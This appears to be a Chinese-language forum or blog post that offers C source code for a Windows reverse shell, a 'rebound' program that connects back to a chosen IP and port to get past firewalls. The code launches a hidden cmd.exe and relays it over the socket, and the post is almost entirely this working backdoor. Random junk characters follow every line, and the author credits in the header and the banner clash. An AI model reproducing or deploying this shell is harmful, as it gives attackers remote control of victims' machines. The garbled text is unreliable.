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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 6'vi68  
NCxn^$/+>9  
/* ============================== >gGil|I  
Rebound port in Windows NT j #es2;  
By wind,2006/7 #rq?f  
===============================*/ Bpas[2gYC  
#include +yIL[D  
#include P09,P  
hqWbp*  
#pragma comment(lib,"wsock32.lib") nO}$ 76*'0  
*sAOpf@M  
void OutputShell(); ytob/tc  
SOCKET sClient; \086O9  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; "$Y(NFb  
BUV/twU)  
void main(int argc,char **argv) \@:j  
{ U~hCn+0  
WSADATA stWsaData; pNSst_!>  
int nRet; L3g9b53\  
SOCKADDR_IN stSaiClient,stSaiServer; V:QdQ;c  
`M6YblnJZ  
if(argc != 3) 1zR/HT  
{ ac3_L$X[  
printf("Useage:\n\rRebound DestIP DestPort\n"); 2gH _$  
return; AW62~*  
} mMslWe  
fxOE]d8v  
WSAStartup(MAKEWORD(2,2),&stWsaData); M.t@@wq  
}eI`Qg  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); CCn/ udp@  
lf;~5/%wMG  
stSaiClient.sin_family = AF_INET; b<8q 92F  
stSaiClient.sin_port = htons(0); >0 7shNX  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); >waN;&>/  
k5g@myb-  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) .h a`)@MsZ  
{ ;i}i5yv2  
printf("Bind Socket Failed!\n"); ^YqbjL  
return; %db3f z  
} <qr^Nyo4  
,Z?m`cx  
stSaiServer.sin_family = AF_INET; #[Z<=i~C  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); (A2U~j?Ry}  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); -#daBx ?  
YI/{TL8*KK  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) h k/+  
{ %5`r-F  
printf("Connect Error!"); +fkP+RVY  
return; >b3@>W  
} VmMh+)UZ  
OutputShell(); htQ;m)>J:  
} =P)"NP7f'  
nQ!N}5[z'  
void OutputShell() 0}6QO  
{ aQxe)  
char szBuff[1024]; BU'Ki \  
SECURITY_ATTRIBUTES stSecurityAttributes; f8R+7Ykx  
OSVERSIONINFO stOsversionInfo; CJ0$;et  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; +J%6bn)U  
STARTUPINFO stStartupInfo; ?{?Vy9'B  
char *szShell; l'W3=,G[?  
PROCESS_INFORMATION stProcessInformation; k:`a+LiZ  
unsigned long lBytesRead; 8u/3?Kc  
LPb]mC6#  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); #&}%70R)  
>s44  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Io2,% !D  
stSecurityAttributes.lpSecurityDescriptor = 0; ,zc"udpKF  
stSecurityAttributes.bInheritHandle = TRUE; t`) 'LT  
PnI)n=(\  
8 f|9W%jt  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Z4=_k{*  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); N'I?fWN!;R  
O.]_Ry\OXA  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo));  3&O% &  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "sdcP8])d  
stStartupInfo.wShowWindow = SW_HIDE; <.;@ksCPW{  
stStartupInfo.hStdInput = hReadPipe; vM5k4%D  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; :O5Tr03z  
G[ ,,L  
GetVersionEx(&stOsversionInfo); ?Ozk^#H[  
i:MlD5 F  
switch(stOsversionInfo.dwPlatformId) l kI8 {  
{ [^h/(a`  
case 1: "tqS|ok.  
szShell = "command.com"; unx;m$-c  
break; 3S;>ki4(0  
default: :8GlyN<E  
szShell = "cmd.exe"; E=$7ieW  
break; 8[vl3C  
} u!hqq^1  
Bidqf7v  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 6(\q< fx  
q] 2}UuM|U  
send(sClient,szMsg,77,0); "K9vm^xP  
while(1) UDhwnGTq(l  
{ W ]a7&S  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); FRb&@(;  
if(lBytesRead) mMel,iK=  
{ $_4oN(WSz  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); \Sz4Gr0g3Z  
send(sClient,szBuff,lBytesRead,0); V 22q*/iV  
} Uh<H*o6e 9  
else d w|-=~  
{ DMy4"2 o  
lBytesRead=recv(sClient,szBuff,1024,0); qpluk!  
if(lBytesRead<=0) break; \r:m({G  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ,{#RrF e  
} ,ivWVsN*]  
} t't^E,E .@  
v'mJ~tz  
return; CD XB&%Sr  
}
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